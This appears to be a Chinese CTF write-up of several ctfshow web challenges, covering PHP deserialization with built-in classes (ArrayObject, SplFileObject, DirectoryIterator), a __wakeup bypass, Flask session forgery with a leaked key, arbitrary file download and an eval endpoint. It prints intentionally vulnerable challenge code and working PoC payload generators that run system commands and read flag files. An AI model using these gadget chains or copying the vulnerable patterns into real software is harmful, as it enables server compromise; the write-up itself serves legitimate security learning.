easy_signin
题目
一个表情包,然后url后面还跟着一段base64编码的内容,解码后查看时face.png,所以感觉这里存在文件包含或者文件查询
然后就去查询index.php
,然后就查看源码发现了一段base64编码的内容,然后拿去解码
解码后的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| <?php
$image=$_GET['img'];
$flag = "ctfshow{3ae89687-0319-4fdd-8d58-4910ede71b51}"; if(isset($image)){ $image = base64_decode($image); $data = base64_encode(file_get_contents($image)); echo "<img src='data:image/png;base64,$data'/>"; }else{ $image = base64_encode("face.png"); header("location:/?img=".$image); }
|
被遗忘的反序列化
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88
| <?php
error_reporting(0); show_source(__FILE__); include("check.php");
class EeE{ public $text; public $eeee; public function __wakeup(){ if ($this->text == "aaaa"){ echo lcfirst($this->text); } }
public function __get($kk){ echo "$kk,eeeeeeeeeeeee"; }
public function __clone(){ $a = new cycycycy; $a -> aaa(); } }
class cycycycy{ public $a; private $b;
public function aaa(){ $get = $_GET['get']; $get = cipher($get); if($get === "p8vfuv8g8v8py"){ eval($_POST["eval"]); } }
public function __invoke(){ $a_a = $this -> a; echo "\$a_a\$"; } }
class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } }
class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
public function __destruct(){ echo $this->aaa; }
public function __invoke(){ $this -> aaa = clone new EeE; } }
$_ip = $_SERVER["HTTP_AAAAAA"]; unserialize($_ip);
|
这题考察的就是原生类的做法
实现了serializable接口的内置类就是c开头的
深入了解PHP反序列化原生类
web安全-PHP反序列化漏洞
本题就是用这个内置类来解题的
首先我们看到最下面这里是$ip = $SERVER[“HTTP_AAAAAA”]; 这一句话的意思是接收header头中 aaaaaa参数的值,然后将其反序列化。 然后根据提示在根目录中有一个txt文件,但是这里我们不知道他的文件名字是什么。
这里传aaaaa是因为这个玩意对大小写不敏感,本地测试过了
这里的格式就是和上面的内置类是一样的,并且coos和file还可控所以这里就可以直接查上面给的txt文件
非预期
非预期wp
这里就是只用到了两个类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| class gBoBg{ public $name; public $file; public $coos; private $eeee="-_-"; public function __toString(){ if(isset($this->name)){ $a = new $this->coos($this->file); echo $a; }else if(!isset($this -> file)){ return $this->coos->name; }else{ $aa = $this->coos; $bb = $this->file; return $aa(); } } }
class w_wuw_w{ public $aaa; public $key; public $file; public function __wakeup(){ if(!preg_match("/php|63|\*|\?/i",$this -> key)){ $this->key = file_get_contents($this -> file); }else{ echo "不行哦"; } }
public function __destruct(){ echo $this->aaa; }
public function __invoke(){ $this -> aaa = clone new EeE; } }
|
这里就是只用到两个类,就是一个类用获取文件名,一个用来获取flag的值
我们知道在php中支持使用$a($b)
这样动态的形式调用函数/实例化,
可以看到我们这一行就是这样的形式:$a = new $this->coos($this->file);
可遍历目录类有以下几个:
1 2 3
| DirectoryIterator 类 FilesystemIterator 类 GlobIterator 类
|
可读取文件类有:
我们需要用内置类来遍历目录,然后读取文件
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| <?php class gBoBg{ public $name; public $file; public $coos; }
class w_wuw_w{ public $aaa; public $key; public $file; }
$w=new w_wuw_w(); $w->aaa=new gBoBg(); $w->aaa->name="1"; $w->aaa->file="/f1agaaa"; $w->aaa->coos="SplFileObject";
echo serialize($w);
|
分两步走,第一步,读取文件名
1 2
| $w->aaa->file="glob:///*f*"; $w->aaa->coos="DirectoryIterator";
|
读取到了文件名,然后我们就用另一个内置类来读取文件内容
第二步,使用SplFileObject
类读取文件内容:
1 2
| $w->aaa->file="/f1agaaa"; $w->aaa->coos="SplFileObject";
|
最后拿到flag
easy_flask
题目
考点
flask的session伪造 + 任意文件下载 + python命令执行
这里注册的时候尝试使用admin账户注册,然后发现了这个账户存在,然后就注册个其他账户进行登录查看
这里的话应该要成为管理员才能进行获取flag
然后点击learn
看到了一些代码,这里我看到給key的时候,我就想到了是不是考的是session伪造或则是python反序列化
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57
|
from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = {
}
@app.route('/') def index():
if 'loggedin' in session: return redirect(url_for('profile')) return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST']) def login(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users and password == users[username]['password']: session['loggedin'] = True session['username'] = username session['role'] = users[username]['role'] return redirect(url_for('profile')) else: msg = 'Incorrect username/password!' return render_template('login.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST']) def register(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users: msg = 'Account already exists!' else: users[username] = {'password': password, 'role': 'user'} msg = 'You have successfully registered!' return render_template('register.html', msg=msg)
@app.route('/profile/') def profile(): if 'loggedin' in session: return render_template('profile2.html', username=session['username'], role=session['role']) return redirect(url_for('login'))
|
那么我们就去进行seesion伪造试试
拿到session
session伪造成功了
然后登录管理员账户成功,接下来就是有个下载的接口
发现是个假的flag
发现他是这样下载文件的,,然后我们就可以尝试下载完整的源码进行查看
app.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| from flask import Flask, render_template, request, redirect, url_for, session, send_file, Response
app = Flask(__name__)
app.secret_key = 'S3cr3tK3y'
users = { 'admin': {'password': 'LKHSADSFHLA;KHLK;FSDHLK;ASFD', 'role': 'admin'} }
@app.route('/') def index(): if 'loggedin' in session: return redirect(url_for('profile')) return redirect(url_for('login'))
@app.route('/login/', methods=['GET', 'POST']) def login(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users and password == users[username]['password']: session['loggedin'] = True session['username'] = username session['role'] = users[username]['role'] return redirect(url_for('profile')) else: msg = 'Incorrect username/password!' return render_template('login2.html', msg=msg)
@app.route('/register/', methods=['GET', 'POST']) def register(): msg = '' if request.method == 'POST' and 'username' in request.form and 'password' in request.form: username = request.form['username'] password = request.form['password'] if username in users: msg = 'Account already exists!' else: users[username] = {'password': password, 'role': 'user'} msg = 'You have successfully registered!' return render_template('register2.html', msg=msg)
@app.route('/profile/') def profile(): if 'loggedin' in session: return render_template('profile2.html', username=session['username'], role=session['role']) return redirect(url_for('login'))
@app.route('/show/') def show(): if 'loggedin' in session: return render_template('show2.html')
@app.route('/download/') def download(): if 'loggedin' in session: filename = request.args.get('filename') if 'filename' in request.args: return send_file(filename, as_attachment=True) return redirect(url_for('login'))
@app.route('/hello/') def hello_world(): try: s = request.args.get('eval') return f"hello,{eval(s)}" except Exception as e: print(e) pass return "hello"
@app.route('/logout/') def logout(): session.pop('loggedin', None) session.pop('id', None) session.pop('username', None) session.pop('role', None) return redirect(url_for('login'))
if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)
|
然后发现在hello路由那,发现有eval命令,然后就进行传值,eval为参数
然后源码里没有os库,那么我们就自己传一个os库进去
成功拿到flag
遇到这种给key的题,一般都是考seesion伪造或则是python的pickel反序列化
暗网聊天室
题目
公钥加密 私钥解密
easy_php
题目
别人的总结wp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| <?php
error_reporting(0); highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ system($this->ctfshow); }
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){ unserialize($data); }
?>
|
漏洞影响版本:
PHP5 < 5.6.25
PHP7 < 7.0.10
修改属性值是这些版本才有用,这里的话是没有用的
考点:PHP7.3 __wakeup绕过,ArrayObject内置类
众所周知可以使用C进行绕过wakeup,但这样有一个缺点,就是你把O改为C后是没办法有属性的,那假如需要用属性命令执行就不行了QWQ
这种情况我们可以用内置类ArrayObject,这个内置类序列化结果如下
这个题目很明显就是要执行system方法,然后不可以以O\a
打头,假如不ban掉a的话,我们可以在a数组里面放上我们的恶意对象,也可以反序列化,但是这里都去掉了,所以回到上面说的那个ArrayObject,他是C开头的,并且可以绕过O,然后还可以带属性反序列化,符合条件,因此可以构造payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| <?php
class ctfshow { public $ctfshow;
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ echo "OK"; system($this->ctfshow); }
} $a=new ctfshow; $a->ctfshow="whoami"; $arr=array("evil"=>$a); $oa=new ArrayObject($arr); $res=serialize($oa); echo $res;
?>
|
php反序列化a开头的使用
查找脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php $classes = get_declared_classes();foreach ($classes as $class) {
$methods = get_class_methods($class);
foreach ($methods as $method) {
if (in_array($method, array(
'unserialize',
))) {
print $class . '::' . $method . "\n";
}
}}
|
结果如下,注意到了还有ArrayIterator,实现了unserialize接口的大概率是C打头,因此在这几个类中寻找!
测试发现ArrayIterrator是可以的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| <?php
class ctfshow { public $ctfshow;
public function __wakeup(){ die("not allowed!"); }
public function __destruct(){ echo "OK"; system($this->ctfshow); }
} $a=new ctfshow; $a->ctfshow="cat /f*"; $arr=array("evil"=>$a); $oa=new ArrayIterator($arr); $res=serialize($oa); echo $res;
?>
|
过所有测试发现可以用的类为:
- ArrayObject::unserialize
- ArrayIterator::unserialize
- RecursiveArrayIterator::unserialize
- SplObjectStorage::unserialize
其中SplObjectStorage需要注意一下:
给加上一条就行
参考 ———> wp
easy_class
题目
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221
| <?php
namespace ctfshow;
class C{
const __REF_OFFSET_1 = 0x41; const __REF_OFFSET_2 = 0x7b; const __REF_OFFSET_3 = 0x5b; const __REF_OFFSET_4 = 0x60; const __REF_OFFSET_5 = 0x30; const __REF_OFFSET_6 = 0x5f;
const __REF_SIZE__= 20; const __REF_VAL_SIZE__= 50;
private $cursor=0; private $cache; private $ref_table=[];
function main(){ $flag = md5(file_get_contents("/flag")); $this->define('ctfshow',self::__REF_VAL_SIZE__); $this->define('flag',strlen($flag)); $this->neaten(); $this->fill('flag',$flag); $this->fill('ctfshow',$_POST['data']); if($this->read('ctfshow')===$this->read('flag')){ echo $flag; } }
private function fill($ref,$val){ rewind($this->cache); fseek($this->cache, $this->ref_table[$ref]+23);
$arr = str_split($val);
foreach ($arr as $s) { fwrite($this->cache, pack("C",ord($s))); }
for ($i=sizeof($arr); $i < self::__REF_VAL_SIZE__; $i++) { fwrite($this->cache, pack("C","\x00")); }
$this->cursor= ftell($this->cache); }
public static function clear($var){ ; }
private function neaten(){ $this->ref_table['_clear_']=$this->cursor; $arr = str_split("_clear_"); foreach ($arr as $s) { $this->write(ord($s),"C"); } for ($i=sizeof($arr); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C'); }
$arr = str_split(__NAMESPACE__."\C::clear"); foreach ($arr as $s) { $this->write(ord($s),"C"); }
$this->write(0x36d,'Q'); $this->write(0x30,'C');
for ($i=1; $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C'); }
}
private function readNeaten(){ rewind($this->cache); fseek($this->cache, $this->ref_table['_clear_']+self::__REF_SIZE__); $f = $this->truncation(fread($this->cache, self::__REF_SIZE__-4)); $t = $this->truncation(fread($this->cache, self::__REF_SIZE__-12)); $p = $this->truncation(fread($this->cache, self::__REF_SIZE__)); call_user_func($f,$p);
}
private function define($ref,$size){ $this->checkRef($ref); $r = str_split($ref); $this->ref_table[$ref]=$this->cursor; foreach ($r as $s) { $this->write(ord($s),"C"); } for ($i=sizeof($r); $i < self::__REF_SIZE__; $i++) { $this->write("\x00",'C'); }
fwrite($this->cache,pack("v",$size)); fwrite($this->cache,pack("C",0x31)); $this->cursor= ftell($this->cache);
for ($i=0; $i < $size; $i++) { $this->write("\x00",'a'); } }
private function read($ref){
if(!array_key_exists($ref,$this->ref_table)){ throw new \Exception("Ref not exists!", 1); }
if($this->ref_table[$ref]!=0){ $this->seekCursor($this->ref_table[$ref]); }else{ rewind($this->cache); } $cref = fread($this->cache, 20); $csize = unpack("v", fread($this->cache, 2)); $usize = fread($this->cache, 1);
$val = fread($this->cache, $csize[1]);
return $this->truncation($val);
}
private function write($val,$fmt){ $this->seek(); fwrite($this->cache,pack($fmt,$val)); $this->cursor= ftell($this->cache); }
private function seek(){ rewind($this->cache); fseek($this->cache, $this->cursor); }
private function truncation($data){
return implode(array_filter(str_split($data),function($var){ return $var!=="\x00"; }));
} private function seekCursor($cursor){ rewind($this->cache); fseek($this->cache, $cursor); } private function checkRef($ref){ $r = str_split($ref);
if(sizeof($r)>self::__REF_SIZE__){ throw new \Exception("Refenerce size too long!", 1); }
if(is_numeric($r[0]) || $this->checkByte($r[0])){ throw new \Exception("Ref invalid!", 1); }
array_shift($r);
foreach ($r as $s) {
if($this->checkByte($s)){ throw new \Exception("Ref invalid!", 1); } } }
private function checkByte($check){ if(ord($check) <=self::__REF_OFFSET_5 || ord($check) >=self::__REF_OFFSET_2 ){ return true; }
if(ord($check) >=self::__REF_OFFSET_3 && ord($check) <= self::__REF_OFFSET_4 && ord($check) !== self::__REF_OFFSET_6){ return true; }
return false;
}
function __construct(){ $this->cache=fopen("php://memory","wb"); }
public function __destruct(){ $this->readNeaten(); fclose($this->cache); }
} highlight_file(__FILE__); error_reporting(0); $c = new C;
$c->main();
|
思路
写入post值得时候没限制长度,所以可以覆盖后面的flag和clear存储的值,然后最后读clear时候调用了call_user_func